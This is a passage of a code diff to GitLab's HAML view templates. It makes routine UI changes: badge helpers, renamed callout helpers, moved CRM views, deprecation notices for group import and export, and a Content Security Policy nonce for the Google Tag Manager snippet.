@@ -178,7 +178,7 @@
.card-header
%strong= @group.name
= _('group members')
- %span.badge.badge-pill= @group_members.size
+ = gl_badge_tag @group_members.size
= render 'shared/members/manage_access_button', path: group_group_members_path(@group)
%ul.content-list.members-list
= render partial: 'shared/members/member',
@@ -195,7 +195,7 @@
.card-header
%strong= @project.name
= _('project members')
- %span.badge.badge-pill= @project.users.size
+ = gl_badge_tag @project.users.size
= render 'shared/members/manage_access_button', path: project_project_members_path(@project)
%ul.content-list.project_members.members-list
= render partial: 'shared/members/member',
diff --git a/app/views/admin/users/_access_levels.html.haml b/app/views/admin/users/_access_levels.html.haml
index 6a5f07dd2db..5977de7c84c 100644
--- a/app/views/admin/users/_access_levels.html.haml
+++ b/app/views/admin/users/_access_levels.html.haml
@@ -43,9 +43,8 @@
= s_('AdminUsers|External')
%p.light.gl-pl-2
= s_('AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets.')
- %row.hidden#warning_external_automatically_set.hidden
- .badge.badge-warning.text-white
- = s_('AdminUsers|Automatically marked as default internal user')
+ %row.hidden#warning_external_automatically_set
+ = gl_badge_tag s_('AdminUsers|Automatically marked as default internal user'), variant: :warning
.form-group.row
- @user.credit_card_validation || @user.build_credit_card_validation
diff --git a/app/views/admin/users/_user_detail.html.haml b/app/views/admin/users/_user_detail.html.haml
deleted file mode 100644
index 05e387e6479..00000000000
--- a/app/views/admin/users/_user_detail.html.haml
+++ /dev/null
@@ -1,20 +0,0 @@
-.flex-list
- .flex-row
- = image_tag avatar_icon_for_user(user), class: 'avatar s32 d-none d-md-flex', alt: _('Avatar for %{name}') % { name: sanitize_name(user.name) }
- .row-main-content
- .row-title.str-truncated-100
- = image_tag avatar_icon_for_user(user), class: 'avatar s16 d-xs-flex d-md-none mr-1 gl-mt-2', alt: _('Avatar for %{name}') % { name: sanitize_name(user.name) }
- = link_to user.name, admin_user_path(user), class: 'text-plain js-user-link', data: { user_id: user.id, qa_selector: 'username_link' }
-
- = render 'admin/users/user_listing_note', user: user
-
- - user_badges_in_admin_section(user).each do |badge|
- - css_badge = "badge gl-badge sm badge-pill badge-#{badge[:variant]}" if badge[:variant].present?
- %span.px-1.py-1
- %span{ class: css_badge }
- = badge[:text]
-
- .row-second-line.str-truncated-100
- = mail_to user.email, user.email, class: 'text-secondary'
- - unless Feature.disabled?(:security_auto_fix) || !user.internal? || user.website_url.blank?
- = link_to "(#{_('more information')})", user.website_url
diff --git a/app/views/admin/users/projects.html.haml b/app/views/admin/users/projects.html.haml
index 8c56e888dcc..b47ed38f65f 100644
--- a/app/views/admin/users/projects.html.haml
+++ b/app/views/admin/users/projects.html.haml
@@ -17,7 +17,7 @@
%span.light.vertical-align-middle= group_member.human_access
- unless group_member.owner?
= link_to group_group_member_path(group, group_member), data: { confirm: remove_member_message(group_member), testid: 'remove-user' }, method: :delete, remote: true, class: "btn btn-sm btn-danger gl-button btn-icon gl-ml-3", title: _('Remove user from group') do
- = sprite_icon('close', size: 16, css_class: 'gl-icon')
+ = sprite_icon('remove', size: 16, css_class: 'gl-icon')
.row
.col-md-6
@@ -47,6 +47,6 @@
- if member.respond_to? :project
= link_to project_project_member_path(project, member), data: { confirm: remove_member_message(member) }, remote: true, method: :delete, class: "btn btn-sm btn-danger gl-button btn-icon gl-ml-3", title: _('Remove user from project') do
- = sprite_icon('close', size: 16, css_class: 'gl-icon')
+ = sprite_icon('remove', size: 16, css_class: 'gl-icon')
= render partial: 'admin/users/modals'
diff --git a/app/views/admin/users/show.html.haml b/app/views/admin/users/show.html.haml
index 2a9b4694e7b..bdc5bdabb21 100644
--- a/app/views/admin/users/show.html.haml
+++ b/app/views/admin/users/show.html.haml
@@ -35,7 +35,7 @@
%span.light= _('Email:')
%strong
= render partial: 'shared/email_with_badge', locals: { email: mail_to(@user.email), verified: @user.confirmed? }
- - @user.emails.each do |email|
+ - @user.emails.reject(&:user_primary_email?).each do |email|
%li
%span.light= _('Secondary email:')
%strong
diff --git a/app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml b/app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml
index 81f4be9fce5..9d249931a34 100644
--- a/app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml
+++ b/app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml
@@ -1,5 +1,5 @@
- link = link_to(s_('ClusterIntegration|sign up'), 'https://console.cloud.google.com/freetrial?utm_campaign=2018_cpanel&utm_source=gitlab&utm_medium=referral', target: '_blank', rel: 'noopener noreferrer')
-.gcp-signup-offer.gl-alert.gl-alert-info.gl-my-3{ role: 'alert', data: { feature_id: UserCalloutsHelper::GCP_SIGNUP_OFFER, dismiss_endpoint: user_callouts_path } }
+.gcp-signup-offer.gl-alert.gl-alert-info.gl-my-3{ role: 'alert', data: { feature_id: Users::CalloutsHelper::GCP_SIGNUP_OFFER, dismiss_endpoint: callouts_path } }
.gl-alert-container
%button.js-close.btn.gl-dismiss-btn.btn-default.btn-sm.gl-button.btn-default-tertiary.btn-icon{ type: 'button', 'aria-label' => _('Dismiss') }
= sprite_icon('close', size: 16, css_class: 'gl-icon')
diff --git a/app/views/clusters/clusters/show.html.haml b/app/views/clusters/clusters/show.html.haml
index e4c8f225ed2..a6efe597f0c 100644
--- a/app/views/clusters/clusters/show.html.haml
+++ b/app/views/clusters/clusters/show.html.haml
@@ -24,10 +24,9 @@
.js-serverless-survey-banner{ data: { user_name: current_user.name, user_email: current_user.email } }
- %h4.gl-my-5
+ %h4.gl-my-5.gl-display-flex.gl-align-items-center
= @cluster.name
- %span.badge.badge-info.badge-pill.gl-badge.md.gl-vertical-align-middle
- = cluster_type_label(@cluster.cluster_type)
+ = gl_badge_tag cluster_type_label(@cluster.cluster_type), { variant: :info }, { class: 'gl-ml-3' }
= render 'banner'
diff --git a/app/views/devise/confirmations/almost_there.haml b/app/views/devise/confirmations/almost_there.haml
index 9fb0fb734f9..892ef730884 100644
--- a/app/views/devise/confirmations/almost_there.haml
+++ b/app/views/devise/confirmations/almost_there.haml
@@ -1,6 +1,8 @@
- user_email = "(#{params[:email]})" if params[:email].present?
- request_link_start = '<a href="%{new_user_confirmation_path}">'.html_safe % { new_user_confirmation_path: new_user_confirmation_path }
- request_link_end = '</a>'.html_safe
+- content_for :page_specific_javascripts do
+ = render "layouts/one_trust"
.well-confirmation.gl-text-center.gl-mb-6
%h1.gl-mt-0
diff --git a/app/views/devise/sessions/new.html.haml b/app/views/devise/sessions/new.html.haml
index da6232b2a2b..175b45dbbfa 100644
--- a/app/views/devise/sessions/new.html.haml
+++ b/app/views/devise/sessions/new.html.haml
@@ -1,8 +1,6 @@
- page_title _("Sign in")
- content_for :page_specific_javascripts do
- = render "layouts/google_tag_manager_head"
= render "layouts/one_trust"
-= render "layouts/google_tag_manager_body"
#signin-container
- if any_form_based_providers_enabled?
diff --git a/app/views/devise/shared/_tab_single.html.haml b/app/views/devise/shared/_tab_single.html.haml
index 5683b4207b4..1b5a932a09a 100644
--- a/app/views/devise/shared/_tab_single.html.haml
+++ b/app/views/devise/shared/_tab_single.html.haml
@@ -1,3 +1,2 @@
-%ul.nav-links.new-session-tabs.single-tab.nav-tabs.nav
- %li.nav-item
- %a.nav-link.active= tab_title
+= gl_tabs_nav({ class: 'new-session-tabs gl-border-0' }) do
+ = gl_tab_link_to tab_title, '#', { item_active: true, class: 'gl-cursor-default!', tab_class: 'gl-bg-transparent!', tabindex: '-1' }
diff --git a/app/views/groups/_import_group_from_file_panel.html.haml b/app/views/groups/_import_group_from_file_panel.html.haml
index 8d6e043ebf7..0644910dd3e 100644
--- a/app/views/groups/_import_group_from_file_panel.html.haml
+++ b/app/views/groups/_import_group_from_file_panel.html.haml
@@ -6,9 +6,17 @@
.gl-border-l-solid.gl-border-r-solid.gl-border-gray-100.gl-border-1.gl-p-5
%h4
= _('Import group from file')
- %p
- = s_('GroupsNew|Provide credentials for another instance of GitLab to import your groups directly.')
- .form-group.gl-display-flex.gl-flex-direction-column
+ .gl-alert.gl-alert-warning{ role: 'alert' }
+ = sprite_icon('warning', css_class: 'gl-icon s16 gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ - docs_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/group/import/index.md') }
+ - link_end = '</a>'.html_safe
+ = s_('GroupsNew|This feature is deprecated and replaced by %{docs_link_start}Group Migration%{docs_link_end}.').html_safe % { docs_link_start: docs_link_start, docs_link_end: link_end }
+ - if Feature.enabled?(:bulk_import, default_enabled: :yaml)
+ - enable_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/group/import/index.md', anchor: 'enable-or-disable-gitlab-group-migration') }
+ = s_('GroupsNew|Ask your administrator to %{enable_link_start}enable%{enable_link_end} Group Migration.').html_safe % { enable_link_start: enable_link_start, enable_link_end: link_end }
+
+ .form-group.gl-display-flex.gl-flex-direction-column.gl-mt-5
= f.label :name, _('New group name'), for: 'import_group_name'
= f.text_field :name, placeholder: s_('GroupsNew|My Awesome Group'), class: 'js-autofill-group-name gl-form-input col-xs-12 col-sm-8',
required: true,
diff --git a/app/views/groups/_invite_members_side_nav_link.html.haml b/app/views/groups/_invite_members_side_nav_link.html.haml
index bccfa9897da..3046669b53b 100644
--- a/app/views/groups/_invite_members_side_nav_link.html.haml
+++ b/app/views/groups/_invite_members_side_nav_link.html.haml
@@ -1,5 +1,4 @@
.js-invite-members-trigger{ data: { trigger_source: 'group-side-nav',
- classes: 'gl-text-decoration-none! gl-shadow-none! gl-text-body!',
icon: 'users',
display_text: title,
trigger_element: 'side-nav'} }
diff --git a/app/views/groups/_personalize.html.haml b/app/views/groups/_personalize.html.haml
index 5ecb0017cd8..07b3b29c20c 100644
--- a/app/views/groups/_personalize.html.haml
+++ b/app/views/groups/_personalize.html.haml
@@ -15,7 +15,7 @@
= f.label :setup_for_company, _('Who will be using this group?')
.gl-display-flex.gl-flex-direction-column.gl-lg-flex-direction-row
.gl-flex-grow-1.gl-display-flex.gl-align-items-center
- = f.radio_button :setup_for_company, true, checked: true
+ = f.radio_button :setup_for_company, true
= f.label :setup_for_company, _('My company or team'), class: 'gl-font-weight-normal gl-mb-0 gl-ml-2', value: 'true'
.gl-flex-grow-1.gl-display-flex.gl-align-items-center
= f.radio_button :setup_for_company, false
diff --git a/app/views/groups/_project_badges.html.haml b/app/views/groups/_project_badges.html.haml
index 1f7895e216c..4ea193b08c2 100644
--- a/app/views/groups/_project_badges.html.haml
+++ b/app/views/groups/_project_badges.html.haml
@@ -1,2 +1,2 @@
- if project.archived
- %span.badge.badge-warning.badge-pill.gl-badge.md= _('archived')
+ = gl_badge_tag _('archived'), variant: :warning, size: :md
diff --git a/app/views/groups/crm/contacts.html.haml b/app/views/groups/crm/contacts.html.haml
deleted file mode 100644
index c452a969d17..00000000000
--- a/app/views/groups/crm/contacts.html.haml
+++ /dev/null
@@ -1,4 +0,0 @@
-- breadcrumb_title _('Customer Relations Contacts')
-- page_title _('Customer Relations Contacts')
-
-#js-crm-contacts-app{ data: { group_full_path: @group.full_path } }
diff --git a/app/views/groups/crm/contacts/index.html.haml b/app/views/groups/crm/contacts/index.html.haml
new file mode 100644
index 00000000000..81293937f77
--- /dev/null
+++ b/app/views/groups/crm/contacts/index.html.haml
@@ -0,0 +1,4 @@
+- breadcrumb_title _('Customer Relations Contacts')
+- page_title _('Customer Relations Contacts')
+
+#js-crm-contacts-app{ data: { group_full_path: @group.full_path, group_issues_path: issues_group_path(@group), group_id: @group.id, can_admin_crm_contact: can?(current_user, :admin_crm_contact, @group).to_s, base_path: group_crm_contacts_path(@group) } }
diff --git a/app/views/groups/crm/organizations.html.haml b/app/views/groups/crm/organizations.html.haml
deleted file mode 100644
index e83dab9fda6..00000000000
--- a/app/views/groups/crm/organizations.html.haml
+++ /dev/null
@@ -1,4 +0,0 @@
-- breadcrumb_title _('Customer Relations Organizations')
-- page_title _('Customer Relations Organizations')
-
-#js-crm-organizations-app{ data: { group_full_path: @group.full_path } }
diff --git a/app/views/groups/crm/organizations/index.html.haml b/app/views/groups/crm/organizations/index.html.haml
new file mode 100644
index 00000000000..1647805b976
--- /dev/null
+++ b/app/views/groups/crm/organizations/index.html.haml
@@ -0,0 +1,4 @@
+- breadcrumb_title _('Customer Relations Organizations')
+- page_title _('Customer Relations Organizations')
+
+#js-crm-organizations-app{ data: { base_path: group_crm_organizations_path(@group), can_admin_crm_organization: can?(current_user, :admin_crm_organization, @group).to_s, group_full_path: @group.full_path, group_id: @group.id, group_issues_path: issues_group_path(@group) } }
diff --git a/app/views/groups/packages/index.html.haml b/app/views/groups/packages/index.html.haml
index 7910217c939..d56a806f082 100644
--- a/app/views/groups/packages/index.html.haml
+++ b/app/views/groups/packages/index.html.haml
@@ -3,4 +3,8 @@
.row
.col-12
- #js-vue-packages-list{ data: packages_list_data('groups', @group) }
+ #js-vue-packages-list{ data: { resource_id: @group.id,
+ full_path: @group.full_path,
+ endpoint: group_packages_path(@group),
+ page_type: 'groups',
+ empty_list_illustration: image_path('illustrations/no-packages.svg'), } }
diff --git a/app/views/groups/projects.html.haml b/app/views/groups/projects.html.haml
index 9dbf60b119c..3507f4574ab 100644
--- a/app/views/groups/projects.html.haml
+++ b/app/views/groups/projects.html.haml
@@ -18,12 +18,11 @@
= render 'delete_project_button', project: project
.stats
- %span.badge.badge-pill
- = storage_counter(project.statistics&.storage_size)
+ = gl_badge_tag storage_counter(project.statistics&.storage_size)
= render 'project_badges', project: project
.title
- = link_to(project_path(project)) do
+ = link_to project_path(project), class: 'js-prefetch-document' do
.dash-project-avatar
.avatar-container.rect-avatar.s40
= project_icon(project, alt: '', class: 'avatar project-avatar s40', width: 40, height: 40)
diff --git a/app/views/groups/registry/repositories/index.html.haml b/app/views/groups/registry/repositories/index.html.haml
index 2901c8fa46b..f6d05959d2e 100644
--- a/app/views/groups/registry/repositories/index.html.haml
+++ b/app/views/groups/registry/repositories/index.html.haml
@@ -18,6 +18,6 @@
"gid_prefix": container_repository_gid_prefix,
connection_error: (!!@connection_error).to_s,
invalid_path_error: (!!@invalid_path_error).to_s,
- user_callouts_path: user_callouts_path,
- user_callout_id: UserCalloutsHelper::UNFINISHED_TAG_CLEANUP_CALLOUT,
+ user_callouts_path: callouts_path,
+ user_callout_id: Users::CalloutsHelper::UNFINISHED_TAG_CLEANUP_CALLOUT,
show_unfinished_tag_cleanup_callout: show_unfinished_tag_cleanup_callout?.to_s } }
diff --git a/app/views/groups/runners/_group_runners.html.haml b/app/views/groups/runners/_group_runners.html.haml
index 1cccce9f59a..e7cfc87ac88 100644
--- a/app/views/groups/runners/_group_runners.html.haml
+++ b/app/views/groups/runners/_group_runners.html.haml
@@ -10,7 +10,7 @@
= _('These runners are shared across projects in this group.')
= _('Group runners can be managed with the %{link}.').html_safe % { link: link }
- - if can?(current_user, :admin_pipeline, @group) && valid_runner_registrars.include?('group')
+ - if can?(current_user, :register_group_runners, @group)
- if params[:ci_runner_templates]
%hr
= render partial: 'ci/runner/setup_runner_in_aws',
diff --git a/app/views/groups/settings/_advanced.html.haml b/app/views/groups/settings/_advanced.html.haml
index a82f7803b44..ebeec2ee95a 100644
--- a/app/views/groups/settings/_advanced.html.haml
+++ b/app/views/groups/settings/_advanced.html.haml
@@ -7,9 +7,8 @@
= form_errors(@group)
.form-group
%p
- = s_('GroupSettings|Changing group URL can have unintended side effects.')
- = succeed '.' do
- = link_to _('Learn more'), help_page_path('user/group/index', anchor: 'change-a-groups-path'), target: '_blank'
+ = s_("GroupSettings|Changing a group's URL can have unintended side effects.")
+ = link_to _('Learn more.'), help_page_path('user/group/index', anchor: 'change-a-groups-path'), target: '_blank', rel: 'noopener noreferrer'
.input-group.gl-field-error-anchor
.group-root-path.input-group-prepend.has-tooltip{ title: group_path(@group), :'data-placement' => 'bottom' }
diff --git a/app/views/groups/settings/_export.html.haml b/app/views/groups/settings/_export.html.haml
index f818f45cf53..ff00ff1f6e8 100644
--- a/app/views/groups/settings/_export.html.haml
+++ b/app/views/groups/settings/_export.html.haml
@@ -4,8 +4,17 @@
.sub-section
%h4= s_('GroupSettings|Export group')
- %p= _('Export this group with all related data to a new GitLab instance. Once complete, you can import the data file from the "New Group" page.')
-
+ %p= _('Export this group with all related data.')
+ .gl-alert.gl-alert-warning.gl-mb-4{ role: 'alert' }
+ = sprite_icon('warning', css_class: 'gl-icon s16 gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ - docs_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/group/import/index.md') }
+ - docs_link_end = '</a>'.html_safe
+ = s_('GroupsNew|This feature is deprecated and replaced by %{docs_link_start}Group Migration%{docs_link_end}.').html_safe % { docs_link_start: docs_link_start, docs_link_end: docs_link_end }
+ %p
+ - export_information = _('After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance.') % { strong_text_start: '<strong>'.html_safe, strong_text_end: '</strong>'.html_safe}
+ = export_information.html_safe
+ = link_to _('Learn more.'), help_page_path('user/group/settings/import_export.md'), target: '_blank', rel: 'noopener noreferrer'
.bs-callout.bs-callout-info
%p.gl-mb-0
%p= _('The following items will be exported:')
@@ -17,7 +26,6 @@
%li= _('Projects')
%li= _('Runner tokens')
%li= _('SAML discovery tokens')
- %p= _('Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page.')
- if group.export_file_exists?
= link_to _('Regenerate export'), export_group_path(group),
method: :post, class: 'btn gl-button btn-default', data: { qa_selector: 'regenerate_export_group_link' }
diff --git a/app/views/groups/settings/_transfer.html.haml b/app/views/groups/settings/_transfer.html.haml
index b2379d77314..59d52e99dec 100644
--- a/app/views/groups/settings/_transfer.html.haml
+++ b/app/views/groups/settings/_transfer.html.haml
@@ -1,18 +1,19 @@
.sub-section
%h4.warning-title= s_('GroupSettings|Transfer group')
+ %p= _('Transfer group to another parent group.')
= form_for group, url: transfer_group_path(group), method: :put, html: { class: 'js-group-transfer-form' } do |f|
- .form-group
- = dropdown_tag('Select parent group', options: { toggle_class: 'js-groups-dropdown', title: 'Parent Group', filter: true, dropdown_class: 'dropdown-open-top dropdown-group-transfer', placeholder: 'Search groups', disabled: group.paid?, data: { data: parent_group_options(group), qa_selector: 'select_group_dropdown' } })
- = hidden_field_tag 'new_parent_group_id'
%ul
- - side_effects_link_start = '<a href="https://docs.gitlab.com/ee/user/project/index.html#redirects-when-changing-repository-paths" target="_blank">'.html_safe
- - warning_text = s_("GroupSettings|Be careful. Changing a group's parent can have unintended %{side_effects_link_start}side effects%{side_effects_link_end}.") % { side_effects_link_start: side_effects_link_start, side_effects_link_end: '</a>'.html_safe }
+ - learn_more_link_start = '<a href="https://docs.gitlab.com/ee/user/project/index.html#redirects-when-changing-repository-paths" target="_blank" rel="noopener noreferrer">'.html_safe
+ - warning_text = s_("GroupSettings|Be careful. Changing a group's parent can have unintended side effects. %{learn_more_link_start}Learn more.%{learn_more_link_end}") % { learn_more_link_start: learn_more_link_start, learn_more_link_end: '</a>'.html_safe }
%li= warning_text.html_safe
%li= s_('GroupSettings|You can only transfer the group to a group you manage.')
%li= s_('GroupSettings|You will need to update your local repositories to point to the new location.')
%li= s_("GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility.")
+ .form-group
+ = dropdown_tag(s_('GroupSettings|Select parent group'), options: { toggle_class: 'js-groups-dropdown', title: s_('GroupSettings|Parent Group'), filter: true, dropdown_class: 'dropdown-open-top dropdown-group-transfer', placeholder: s_('GroupSettings|Search groups'), disabled: group.paid?, data: { data: parent_group_options(group), qa_selector: 'select_group_dropdown' } })
+ = hidden_field_tag 'new_parent_group_id'
- if group.paid?
.gl-alert.gl-alert-info.gl-mb-5
= sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
diff --git a/app/views/groups/settings/ci_cd/_auto_devops_form.html.haml b/app/views/groups/settings/ci_cd/_auto_devops_form.html.haml
index dedb87c51ef..32da444d058 100644
--- a/app/views/groups/settings/ci_cd/_auto_devops_form.html.haml
+++ b/app/views/groups/settings/ci_cd/_auto_devops_form.html.haml
@@ -8,7 +8,7 @@
= f.check_box :auto_devops_enabled, class: 'form-check-input', checked: group.auto_devops_enabled?
= f.label :auto_devops_enabled, class: 'form-check-label' do
%strong= s_('GroupSettings|Default to Auto DevOps pipeline for all projects within this group')
- %span.badge.badge-info#auto-devops-badge= badge_for_auto_devops_scope(group)
+ = gl_badge_tag badge_for_auto_devops_scope(group), variant: :info
.form-text.text-muted
= s_('GroupSettings|The Auto DevOps pipeline runs if no alternative CI configuration file is found.')
= link_to _('Learn more.'), help_page_path('topics/autodevops/index.md'), target: '_blank'
diff --git a/app/views/groups/settings/packages_and_registries/show.html.haml b/app/views/groups/settings/packages_and_registries/show.html.haml
index 7be6dc73c49..78ce981eb07 100644
--- a/app/views/groups/settings/packages_and_registries/show.html.haml
+++ b/app/views/groups/settings/packages_and_registries/show.html.haml
@@ -5,4 +5,5 @@
%section#js-packages-and-registries-settings{ data: { default_expanded: expanded_by_default?.to_s,
group_path: @group.full_path,
- dependency_proxy_available: dependency_proxy_available.to_s } }
+ dependency_proxy_available: dependency_proxy_available.to_s,
+ group_dependency_proxy_path: group_dependency_proxy_path(@group) } }
diff --git a/app/views/groups/show.html.haml b/app/views/groups/show.html.haml
index ed3f2b0c6db..bb409190dd8 100644
--- a/app/views/groups/show.html.haml
+++ b/app/views/groups/show.html.haml
@@ -15,7 +15,7 @@
track_label: 'invite_members_banner',
invite_members_path: group_group_members_path(@group),
callouts_path: group_callouts_path,
- callouts_feature_id: UserCalloutsHelper::INVITE_MEMBERS_BANNER,
+ callouts_feature_id: Users::GroupCalloutsHelper::INVITE_MEMBERS_BANNER,
group_id: @group.id } }
= render 'groups/invite_members_modal', group: @group
diff --git a/app/views/help/instance_configuration/_package_registry.html.haml b/app/views/help/instance_configuration/_package_registry.html.haml
index 38202b8d6e6..84b8accfebb 100644
--- a/app/views/help/instance_configuration/_package_registry.html.haml
+++ b/app/views/help/instance_configuration/_package_registry.html.haml
@@ -23,6 +23,10 @@
- package_file_size_limits.each_value do |limits|
%td= instance_configuration_human_size_cell(limits[:conan])
%tr
+ %td= 'Helm'
+ - package_file_size_limits.each_value do |limits|
+ %td= instance_configuration_human_size_cell(limits[:helm])
+ %tr
%td= 'Maven'
- package_file_size_limits.each_value do |limits|
%td= instance_configuration_human_size_cell(limits[:maven])
diff --git a/app/views/import/bitbucket/deploy_key.js.haml b/app/views/import/bitbucket/deploy_key.js.haml
deleted file mode 100644
index 99e8ac1afa1..00000000000
--- a/app/views/import/bitbucket/deploy_key.js.haml
+++ /dev/null
@@ -1,3 +0,0 @@
-:plain
- job = $("tr#repo_#{@repo_id}")
- job.find(".import-actions").html("<p class='alert alert-danger'>#{_('Access denied! Please verify you can add deploy keys to this repository.')}</p>")
diff --git a/app/views/jira_connect/subscriptions/index.html.haml b/app/views/jira_connect/subscriptions/index.html.haml
index be2be7288f8..d92c30c8840 100644
--- a/app/views/jira_connect/subscriptions/index.html.haml
+++ b/app/views/jira_connect/subscriptions/index.html.haml
@@ -1,13 +1,6 @@
%header.jira-connect-header.gl-display-flex.gl-align-items-center.gl-justify-content-center.gl-px-5.gl-border-b-solid.gl-border-b-gray-100.gl-border-b-1.gl-bg-white
= link_to brand_header_logo, Gitlab.config.gitlab.url, target: '_blank', rel: 'noopener noreferrer'
-.jira-connect-user.gl-font-base
- - if current_user
- - user_link = link_to(current_user.to_reference, jira_connect_users_path, target: '_blank', rel: 'noopener noreferrer', class: 'js-jira-connect-sign-in')
- = _('Signed in to GitLab as %{user_link}').html_safe % { user_link: user_link }
- - elsif @subscriptions.present?
- = link_to _('Sign in to GitLab'), jira_connect_users_path, target: '_blank', rel: 'noopener noreferrer', class: 'js-jira-connect-sign-in'
-
%main.jira-connect-app.gl-px-5.gl-pt-7.gl-mx-auto
.js-jira-connect-app{ data: jira_connect_app_data(@subscriptions) }
diff --git a/app/views/layouts/_flash.html.haml b/app/views/layouts/_flash.html.haml
index a302fa605e7..dded5ba76b0 100644
--- a/app/views/layouts/_flash.html.haml
+++ b/app/views/layouts/_flash.html.haml
@@ -1,9 +1,11 @@
--# We currently only support `alert`, `notice`, `success`, 'toast'
+-# We currently only support `alert`, `notice`, `success`, 'toast', and 'raw'
- icons = {'alert' => 'error', 'notice' => 'information-o', 'success' => 'check-circle'}
.flash-container.flash-container-page.sticky{ data: { qa_selector: 'flash_container' } }
- flash.each do |key, value|
- if key == 'toast' && value
.js-toast-message{ data: { message: value } }
+ - elsif key == 'raw' && value
+ = value
- elsif value == I18n.t('devise.failure.unconfirmed')
= render 'shared/confirm_your_email_alert'
- elsif value
diff --git a/app/views/layouts/_google_tag_manager_body.html.haml b/app/views/layouts/_google_tag_manager_body.html.haml
index d62e52dc91b..98d7bf5d138 100644
--- a/app/views/layouts/_google_tag_manager_body.html.haml
+++ b/app/views/layouts/_google_tag_manager_body.html.haml
@@ -1,4 +1,4 @@
- return unless google_tag_manager_enabled?
-<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=#{extra_config.google_tag_manager_id}"
+<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=#{google_tag_manager_id}"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
diff --git a/app/views/layouts/_google_tag_manager_head.html.haml b/app/views/layouts/_google_tag_manager_head.html.haml
index 48eb9e40cc4..25af51ca9cb 100644
--- a/app/views/layouts/_google_tag_manager_head.html.haml
+++ b/app/views/layouts/_google_tag_manager_head.html.haml
@@ -1,8 +1,19 @@
-- if google_tag_manager_enabled?
+- return unless google_tag_manager_enabled?
+
+- if Feature.enabled?(:gtm_nonce, type: :ops)
+ = javascript_tag nonce: content_security_policy_nonce do
+ :plain
+ (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+ new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+ j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+ 'https://www.googletagmanager.com/gtm.js?id='+i+dl;j.setAttribute('nonce',
+ '#{content_security_policy_nonce}');f.parentNode.insertBefore(j,f);
+ })(window,document,'script','dataLayer','#{google_tag_manager_id}');
+- else
= javascript_tag do
:plain
(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
- })(window,document,'script','dataLayer','#{extra_config.google_tag_manager_id}');
+ })(window,document,'script','dataLayer','#{google_tag_manager_id}');
diff --git a/app/views/layouts/_page.html.haml b/app/views/layouts/_page.html.haml
index dff1b5e3d04..3e875a0eb24 100644
--- a/app/views/layouts/_page.html.haml
+++ b/app/views/layouts/_page.html.haml
@@ -3,6 +3,7 @@
= render "layouts/nav/sidebar/#{nav}"
.content-wrapper.content-wrapper-margin{ class: "#{@content_wrapper_class}" }
.mobile-overlay
+ = render_if_exists 'layouts/header/verification_reminder'
= yield :group_invite_members_banner
.alert-wrapper.gl-force-block-formatting-context
= render 'shared/outdated_browser'
@@ -20,7 +21,6 @@
= render_if_exists "shared/namespace_user_cap_reached_alert"
= render_if_exists "shared/new_user_signups_cap_reached_alert"
= yield :page_level_alert
- = yield :customize_homepage_banner
- unless @hide_breadcrumbs
= render "layouts/nav/breadcrumbs"
%div{ class: "#{(container_class unless @no_container)} #{@content_class}" }
diff --git a/app/views/layouts/_snowplow.html.haml b/app/views/layouts/_snowplow.html.haml
index 7e242fb4a8e..8e9a5ea9406 100644
--- a/app/views/layouts/_snowplow.html.haml
+++ b/app/views/layouts/_snowplow.html.haml
@@ -1,5 +1,7 @@
- return unless Gitlab::Tracking.enabled?
+- namespace = @group || @project&.namespace
+
= javascript_tag do
:plain
;(function(p,l,o,w,i,n,g){if(!p[i]){p.GlobalSnowplowNamespace=p.GlobalSnowplowNamespace||[];
@@ -10,6 +12,6 @@
window.snowplowOptions = #{Gitlab::Tracking.options(@group).to_json}
gl = window.gl || {};
- gl.snowplowStandardContext = #{Gitlab::Tracking::StandardContext.new(namespace: @group || @project&.namespace,
+ gl.snowplowStandardContext = #{Gitlab::Tracking::StandardContext.new(namespace: namespace,
project: @project, user: current_user).to_context.to_json.to_json}
- gl.snowplowPseudonymizedPageUrl = #{masked_page_url.to_json};
+ gl.snowplowPseudonymizedPageUrl = #{masked_page_url(group: namespace, project: @project).to_json};
diff --git a/app/views/layouts/header/_current_user_dropdown.html.haml b/app/views/layouts/header/_current_user_dropdown.html.haml
index 6bb51b01c13..daa48980c5b 100644
--- a/app/views/layouts/header/_current_user_dropdown.html.haml
+++ b/app/views/layouts/header/_current_user_dropdown.html.haml
@@ -45,7 +45,7 @@
= render 'shared/user_dropdown_instance_review'
- if Gitlab.com_but_not_canary?
%li.d-md-none
- = link_to _("Switch to GitLab Next"), "https://next.gitlab.com/"
+ = link_to _("Switch to GitLab Next"), Gitlab::Saas.canary_toggle_com_url
- if current_user_menu?(:sign_out)
%li.divider
diff --git a/app/views/layouts/header/_default.html.haml b/app/views/layouts/header/_default.html.haml
index 83e8ff79aec..69b8518ef33 100644
--- a/app/views/layouts/header/_default.html.haml
+++ b/app/views/layouts/header/_default.html.haml
@@ -15,7 +15,7 @@
%span.logo-text.d-none.d-lg-block.gl-ml-3
= logo_text
- if Gitlab.com_and_canary?
